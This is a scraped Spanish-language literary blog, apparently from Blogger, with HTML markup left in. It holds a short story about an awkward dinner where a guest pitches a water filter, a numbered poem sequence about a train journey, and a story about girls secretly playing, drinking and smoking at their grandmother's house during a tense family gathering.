La bolsa de la pollería estaba apoyada sobre la mesada de la cocina. Gabriela desató el nudo con los dedos y mal humor. No había planeado cocinar. ¿Quién va a una cena con un pollo crudo? Tiró un gran chorro de aceite usado en la bandeja del horno y apoyó el animal entero con desprecio. Contó hasta cuatro mientras le sacudía el salero encima. Horno, puerta, pum, listo. Se sirvió otra copa de vino.</div>
<div style="text-align: justify;">
-¿Qué tal Lean? ¿Vos ensayás para las clases?</div>
<div style="text-align: justify;">
-A veces, la verdad, cuando tengo tiempo.</div>
<div style="text-align: justify;">
-Trabaja demasiado.</div>
<div style="text-align: justify;">
-Gracias a Dios.</div>
<div style="text-align: justify;">
Gastón se levantó para poner un disco. Como siempre que no sabía qué decir, narró lo que hacía.</div>
<div style="text-align: justify;">
-Voy a poner un disco en el tocadiscos.</div>
<div style="text-align: justify;">
-Buenísimo.</div>
<div style="text-align: justify;">
-Bru-tal-, dijo Clara riéndose y mirando a los ojos a Lean, festejando un chiste interno que nadie más apreció.</div>
<div style="text-align: justify;">
Me, myself and I are all in love with you, we all think you´re wonderful, we do! Gabriela condimentaba la ensalada sobre la mesa, Lean miraba su página de Facebook en el teléfono y Clara buscaba algo en la cartera. El silencio los agarró desprevenidos, nadie tomaba el mando de la conversación. La música trajo alivio y, entre servir el vino, comentar el clima y algunas preguntas básicas a Clara, pasó la primera hora de la reunión.</div>
<div style="text-align: justify;">
Gabriela dijo que necesitaba cambiarse antes de cenar. Siempre lo hago, cocino de entre casa, dio explicaciones que nadie le estaba pidiendo. Subió las escaleras apurada y se encerró en el cuarto, abalanzándose sobre el frasco de marihuana. Alguien había movido la mesa de lugar apenas unos centímetros. Mientras fumaba, le pareció también que el frasco estaba mucho más vacío que antes. Revisó el vidrio a ver si encontraba huellas digitales. Clara había subido al baño diez minutos antes.</div>
<div style="text-align: justify;">
Abajo, las palabras no abundaban, había que espaciarlas, alargarlas, exprimirlas al máximo. Gastón le contaba a sus amigos sobre la grabación de Para pintarte. El primo de Lean, Tomás, era el dueño del estudio donde trabajaban. Clara repitió varias veces que era una ignorante total en lo que respecta a la música. Sin embargo, cuando vio a Gabriela bajar por las escaleras todavía vestida de entre casa, le pidió que les tocara un tema del disco. Voy a chequear el pollo y después con gusto, fue la respuesta que le dio sonriendo y con los ojos achinados. Gastón supo que estaba nerviosa.</div>
<div style="text-align: justify;">
-Cuando puedas vení, que me gustaría comentarle algo a todos. -La voz de Lean salió más fuerte de lo que esperaba. Gastón estaba desconcertado ¿Qué tendría su alumno para decirles? Ni siquiera se conocían tanto, iba a las clases hacía cuatro o cinco meses. Y ¿por qué había traído a su novia? ¿Qué tenían que hablar los cuatro? El motivo de todo se le hizo evidente: Gabriela y Leandro tenían una historia. Estaban ahí para darles la noticia, todo de una vez. Se levantó de la mesa y se fue a la cocina.</div>
<div style="text-align: justify;">
Me cago en Dios, me olvidé de encender el horno, qué pelotuda. Gabriela se daba la cabeza contra la pared, Leandro la agarró de los hombros para detenerla.</div>
<div style="text-align: justify;">
-Te pido por favor que vuelvas a la mesa, no me dejes solo.</div>
<div style="text-align: justify;">
-Esta mierda se va a hacer en tres horas. No puedo más. -Petra ronroneaba entre los pies de uno y otro, al acecho del pollo al otro lado del vidrio.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Clara fumaba un cigarrillo de pie junto a la ventana abierta. Nadie le había dicho que podía hacerlo. Lean se acomodaba nervioso en su silla, tenía las manos sobre una caja de cartón que había puesto sobre la mesa. Esto es nuevo, dijo Gabriela, ¿qué trajiste?</div>
<div style="text-align: justify;">
-Por favor siéntense -dijo poniéndose de pie-, tengo algo que ofrecerles.</div>
<div style="text-align: justify;">
Anestesiados por la sorpresa, los dos lo obedecieron. Clara volvió a la mesa. Lean agarró su vaso de agua.</div>
<div style="text-align: justify;">
-Tengo mucha sed y me encantaría tomarme todo este vaso de agua, - se acercó el vaso a la boca,- pero no pude evitar notar en las clases que ustedes toman agua de la canilla. Directo de la canilla. ¿alguna vez vieron lo que hay adentro de una cañería? El cloro es el último de sus problemas. Hace unos meses Clara y yo compramos un filtro Acquapure gracias a un amigo de la familia, y nos cambió la vida. – Posó la mano entera sobre la caja; con un solo gesto depositaba toda su confianza en el filtro. – Ahora quiero pasarles el secreto.</div>
<div style="text-align: justify;">
-Voy a chequear el pollo - Gabriela se apuró a salir del comedor. Se puso nerviosa, pensó Gastón, se viene la confesión. El corazón le latía con ganas, no podía esperar a que Lean se sacara la máscara. Billie Holiday lo llamaba desde el tocadiscos …The way we dance till three, the way you changed my life, no, no! They can´t take that away from me! Clara encendió otro cigarrillo, esta vez sin moverse de la mesa. No abrió la boca. Lean sacaba de la caja unas bolsitas de plástico con las partes del filtro.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
-¡Cuidado que está hirviendo! – gritó Gabriela apoyando la bandeja con el pollo ostensiblemente crudo en el medio de la mesa. - ¿Ya les conté del disco? ¿Les toqué algún tema? Es mi obra maestra, realmente.</div>
<div style="text-align: justify;">
-¡Nos encantaría! Pero antes dejame mostrarte cómo funciona…</div>
<div style="text-align: justify;">
-Mi amor, ¿y si corto el pollo? – Gastón atravesó el ave con el cuchillo sin esperar la respuesta. Clara apagó su cigarrillo en el borde de su plato.</div>
<div style="text-align: justify;">
-Cada comprador aporta el contacto de tres posibles compradores y …</div>
<div style="text-align: justify;">
-Saco esta mierda y les toco el primer tema, el piano es hermoso.</div>
<div style="text-align: justify;">
I´ll be seeing you in all the familiar places that this hearts embrac... Gabriela levantó la púa con tan poco amor que Petra soltó un alarido imitando al disco. Desfilando para los invitados, atravesó la alfombra que cubría el living. Movía la cola de lado a lado, las cuatro patas siguiendo una línea recta que atravesaba la mitad exacta de su cuerpo. Gabriela se sentó al piano y se soltó la larguísima cabellera que casi peinaba el suelo. Arremetió contra las teclas, aullándole a la luna que empezaba a asomarse por la ventana. Lean encajó la última pieza del filtro y levantó la cabeza con una sonrisa. Sus ojos se encontraron con los de Gastón, que lo miraba por encima de su copa de vino. Te voy a matar, sorete, le decía con las pupilas. Clara no dijo nada, Lean juntó el filtro nervioso para ir a instalarlo en la cocina. Le voy a traer un buen vaso de agua a cada uno, sacudía la cara con una sonrisa. Gastón se levantó decidido a revisar los bolsillos de las camperas que colgaban del perchero. El piano descontrolado los había hecho olvidar el silencio.</div>
<div style="text-align: justify;">
Clara encendió su tercer cigarrillo y acercó el cenicero con los dedos. Petra se subió a la mesa de un salto. Quedamos solo nosotras, dijo Clara, pero su voz se perdió entre las notas. También el maullido respuesta de Petra, que ahora se acercaba al centro de la mesa, presa de lujuria. Puso las dos patitas sobre el muslo del pollo crudo, morado y ensangrentado como un recién nacido. Ronroneaba sin parar mientras le pasaba la lengua por el lomo y acomodaba sus cuatro patas extasiadas en la fuente del amor.</div>
<div style="text-align: justify;">
<br /></div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-67323177154182510532017-10-09T05:43:00.001-07:002021-02-17T11:07:06.100-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
1<u><o:p></o:p></u></div>
<div class="MsoNormal">
<u>el tren Madrid-Avignon</u><o:p></o:p></div>
<div class="MsoNormal">
recorta constante <o:p></o:p></div>
<div class="MsoNormal">
los kilometros que solían ser<o:p></o:p></div>
<div class="MsoNormal">
mar abierto.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
cuando frena en tu ciudad<o:p></o:p></div>
<div class="MsoNormal">
aprieto la llave en las manos<o:p></o:p></div>
<div class="MsoNormal">
la puerta abierta da mil puertas<o:p></o:p></div>
<div class="MsoNormal">
un solo paso y el mundo.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
o quedarme<o:p></o:p></div>
<div class="MsoNormal">
quieta bien quieta<o:p></o:p></div>
<div class="MsoNormal">
hasta que se cierre.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
2<o:p></o:p></div>
<div class="MsoNormal">
llegar<o:p></o:p></div>
<div class="MsoNormal">
y no ver a los monstruos<o:p></o:p></div>
<div class="MsoNormal">
es como no llegar aún.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Solo el tigre entiende<o:p></o:p></div>
<div class="MsoNormal">
mis ladridos de orate,<o:p></o:p></div>
<div class="MsoNormal">
cuando lloro como la liebre<o:p></o:p></div>
<div class="MsoNormal">
o canto entre las ramas invisibles.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
3<o:p></o:p></div>
<div class="MsoNormal">
de nuevo la casa, un rompecabezas<o:p></o:p></div>
<div class="MsoNormal">
es el espejo del mismo día, un año atrás<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
y nosotros<o:p></o:p></div>
<div class="MsoNormal">
¿qué espejamos?<o:p></o:p></div>
<div class="MsoNormal">
nos sacamos la mugre<o:p></o:p></div>
<div class="MsoNormal">
y nos volvemos a entender.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
4<u><o:p></o:p></u></div>
<div class="MsoNormal">
<u>siempre</u><o:p></o:p></div>
<div class="MsoNormal">
encuentro la manera de encontrar<o:p></o:p></div>
<div class="MsoNormal">
PARTES:<o:p></o:p></div>
<div class="MsoNormal">
ahí estaba tu ojo izquierdo.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
la mujer a tu lado era <o:p></o:p></div>
<div class="MsoNormal">
como una madre<o:p></o:p></div>
<div class="MsoNormal">
como una novia<o:p></o:p></div>
<div class="MsoNormal">
y yo, en frente, te miro<o:p></o:p></div>
<div class="MsoNormal">
y te toco<o:p></o:p></div>
<div class="MsoNormal">
te digo al fin, la encontré<o:p></o:p></div>
<div class="MsoNormal">
la siempre extraviada,<o:p></o:p></div>
<div class="MsoNormal">
mi parte favorita.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
5<o:p></o:p></div>
<div class="MsoNormal">
verde verde rojo,<o:p></o:p></div>
<div class="MsoNormal">
seis platos hacen una zebra.<o:p></o:p></div>
<div class="MsoNormal">
el perro se quedó en parís<o:p></o:p></div>
<div class="MsoNormal">
las cigarras cantan a sus anchas.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
6<o:p></o:p></div>
<div class="MsoNormal">
te sopló los pelos de la frente<o:p></o:p></div>
<div class="MsoNormal">
tan veloz: la playa, la estación.<o:p></o:p></div>
<div class="MsoNormal">
llegué tarde al incendio,<o:p></o:p></div>
<br />
<div class="MsoNormal">
ya estabas triste<o:p></o:p></div>
<div class="MsoNormal">
y el cielo se derrumbaba.</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-86658606002798874942017-09-24T05:31:00.001-07:002021-02-17T11:07:06.137-08:00Fue Bernardo<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
</h3>
<b id="docs-internal-guid-41bb985d-b3de-77df-21d2-dd36201a546d" style="font-weight: normal;"><br /></b>
<br />
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">El cumpleaños de Miguel cayó un domingo y lo celebraban con un gran almuerzo en lo de la abuela con varios tíos y primos. Lupe cargaba con tanta ansiedad que quiso traer la tarea para estudiar durante el viaje en auto. Tomando el consejo de Guido, había elegido estudiar a los esquimales para su proyecto de Ciencias Sociales. Su primo le contó que los esquimales abandonan a los abuelos en el camino para que sean comidos por los osos polares. Creen que los espíritus vuelven a la familia cuando ellos se comen su carne.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Mirando por la ventana hacia los edificios azotados por el sol, Lupe pintaba la ciudad de blanco, la cubría de escarcha. Era la primera vez que festejaba un cumpleaños de su papá en mangas cortas. Pensó en el jardín de la casa de la abuela, en que quizás podrían ir a patinar a la pista de hielo.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">El festejo no fue lo que Lupe esperaba. Cinco minutos después de haber llegado, Marisol las mandó a mirar dibujitos a la habitación de la abuela con la prima Maia, tenían prohibido bajar hasta que algún grande subiera a buscarlas. No hubo regalos ni torta, ni siquiera Coca Cola. No había podido salir a saludar a su árbol del jardín. Era el cerezo; de su rama colgaba una pulsera con el nombre de Lupe. Cada nieto tenía el suyo.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Solas entre las cosas de Celia, las chicas lograron enfocar su atención en el televisor durante apenas unos minutos. Los placares repletos de ropa, los estantes del baño con sus estuches de maquillaje, las cremas y el secador de pelo. Lo usaron todo. Camila se puso la camisa de flores azules de Japón, se cubrió la cara de polvo compacto dorado y para los labios eligió el color rosado. Encontró los aros de perlas de Celia que tanto le gustaban y aprovechó para usarlos. Lupe eligió el vestido a cuadros y unos zapatos de taco azules, le parecía que era lo que elegiría la prima Elisabet. Se pintó las pestañas y se delineó los ojos imitando los de un gato. Maia conservó sus jeans rotos, dijo que los prefería a toda la ropa de la abuela. Solo se puso un tapado largo de piel y un collar de perlas.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Las tres falsas señoras caminaron con las carteras al hombro en dirección a la mesa electoral. Se definía el futuro de la democracia argentina y ellas debían dar su voto a Eduardo Angeloz, candidato de la Unión Cívica Radical, o a Carlos Menem, candidato justicialista. Se vivieron momentos de suspenso y tensión. Angeloz ganó por unanimidad y hubo festejos.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Más tarde pusieron a llenar la bañadera con agua y shampoo para enjuagarse la pintura, para calcular, también, cuánto tiempo tardaban los dedos en arrugarse. Lupe tenía un secreto deseo de hundirse en la espuma blanca, imaginar los lagos de Palermo congelados ya no le era suficiente. El hielo, marcado a hachazos, azul frío, la había ayudado a pasar los primeros meses. Ahora que eso no alcanzaba, quería la nieve en las pestañas, los pies transpirados dentro de las botas, a veces hasta deseaba las orejeras rojas, las del incendio.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Chiiiicas</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Fue Maia que entró al baño sacudiendo una botella de whiskey. La había encontrado en la mesita de luz de la habitación de enfrente. Lupe abrió grande los ojos, el líquido dorado se balanceaba de un lado a otro, brillando de oportunidad. La prima lo puso adentro de la bañadera, la botella se perdió entre la espuma y desapareció. El chorro de agua caía con fuerza y su sonido retumbaba por el baño generando confusión. El vapor nubló la escena. Maia sacó un paquete de cigarrillos del bolsillo de su pantalón. </span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">La espuma rebalsaba la bañadera y había tomado casi todo el suelo del baño. Camila se acomodaba la barba blanca mientras Lupe tomaba otro sorbo ínfimo de la botella. Apenas se había mojado los labios pero el fuego del alcohol le daba arcadas. Con ella se movía toda el agua que las contenía. Maia fumaba un cigarrillo apoyada contra el borde, no tragaba el humo. Nadie se había ni acercado, en el piso de arriba reinaba la anarquía. Lupe estaba absorta con la espuma caliente, la más parecida a la nieve, recordando aquella tarde en que la abuela Celia estaba en cama enferma. Ella se acercó y la tapó con su saco rojo, y la abuela se lo recordaba cada vez que la veía. </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Mi dulce</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, le decía, </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sos mi dulce</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Pensó en los esquimales. Sabía que algunos</span><span style="background-color: white; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> poseen características físicas que los ayudan a sobrevivir en el frío. Las pestañas son más pesadas para proteger los ojos del brillo de la nieve, su cuerpo es gordo para retener más calor.</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> Sopló un viento helado en el baño. </span><span style="background-color: white; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lupe, en medio de la nieve, empezó a armar un círculo de bloques, la base para su iglú.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Vamos a investigar qué pasa.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Secaron el baño y guardaron cada cosa en su lugar. Tenían esa capacidad para el detalle que solo posee quien ha cometido un crimen. Al final fue como si no hubiera pasado nadie por los azulejos, los armarios, las sombras y los pinceles, el pico de la botella. La diferencia, el paso del tiempo, lo que había acontecido, todo se escondía por dentro.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bajaron las escaleras agachadas, cuchicheando e intentando controlar sus risas nerviosas. Ninguna de las tres pensó que lo lograrían. Alguien las iba a descubrir en el camino, se iba a dar cuenta de que habían estado jugando con los maquillajes de la abuela, alguno olería el whiskey que habían tomado, o quizás encontrarían el baño sucio, con rastros de desastre. Como siempre, las castigarían, no más patinaje, no más caja de Pandora ni salidas al cine. Pero nadie apareció y el silencio las acompañó hasta la puerta de la cocina. Se quedaron ahí esperando a que pasara algo.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: white; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lupe intentó pensar cuántos sueños habían estado ahí, sentadas en el suelo contra la puerta de madera de la cocina, cuántas noches había durado aquel viaje. La cabeza de Camila descansaba en su regazo, Maia dormía a sus pies. Nada había pasado. </span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Vamos a entrar.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">La puerta se abrió sin resistencia y sin chillar. Gateando en fila bajaron los dos escalones para entrar a la cocina. En el comedor estaban los grandes sentados alrededor de la mesa, había silencio pero cada tanto alguien hablaba. A Lupe le pareció escuchar a Guido haciendo una pregunta, las voces aún eran demasiado leves. Después habló Roxana.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Cuando llegaron a los escalones del comedor, Maia tomó la delantera. Sin dudar ni detenerse, gateó hasta el borde de la mesa y nadie la vio. La tensión parecía estar en otro nivel, uno que no las llegaba a tocar. Camila y Lupe la siguieron sin levantar la vista hacia los adultos. Las tres se escabulleron entre las patas de las sillas y la mesa, las piernas y los pies de sus familiares. Llegaron al centro de todo y reposaron. Lupe pudo sentir el aliento a whiskey de Maia. Nada tenía sentido. </span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Lo tuvieron que liberar, no hay suficientes pruebas. – Era una voz nueva la que hablaba, masculina y oscura. Ninguna de las chicas lo había visto. </span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¿Y el colchón? ¿Y la lámpara? ¿Las uñas?</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—La policía todavía no lo puede explicar. No se sabe dónde están. Aún no podemos saber a ciencia cierta qué pasó. </span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">El viento helado ahora recorrió el comedor. Lupe vio desde debajo de la mesa cómo agitaba los pies Marisol, frotando una pierna contra la otra. Vio su propio aliento escaparse de su boca. Tallaba el último bloque del iglú, adentro ya empezaba a conservarse el calor. Un grito la abdujo de su sueño.</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
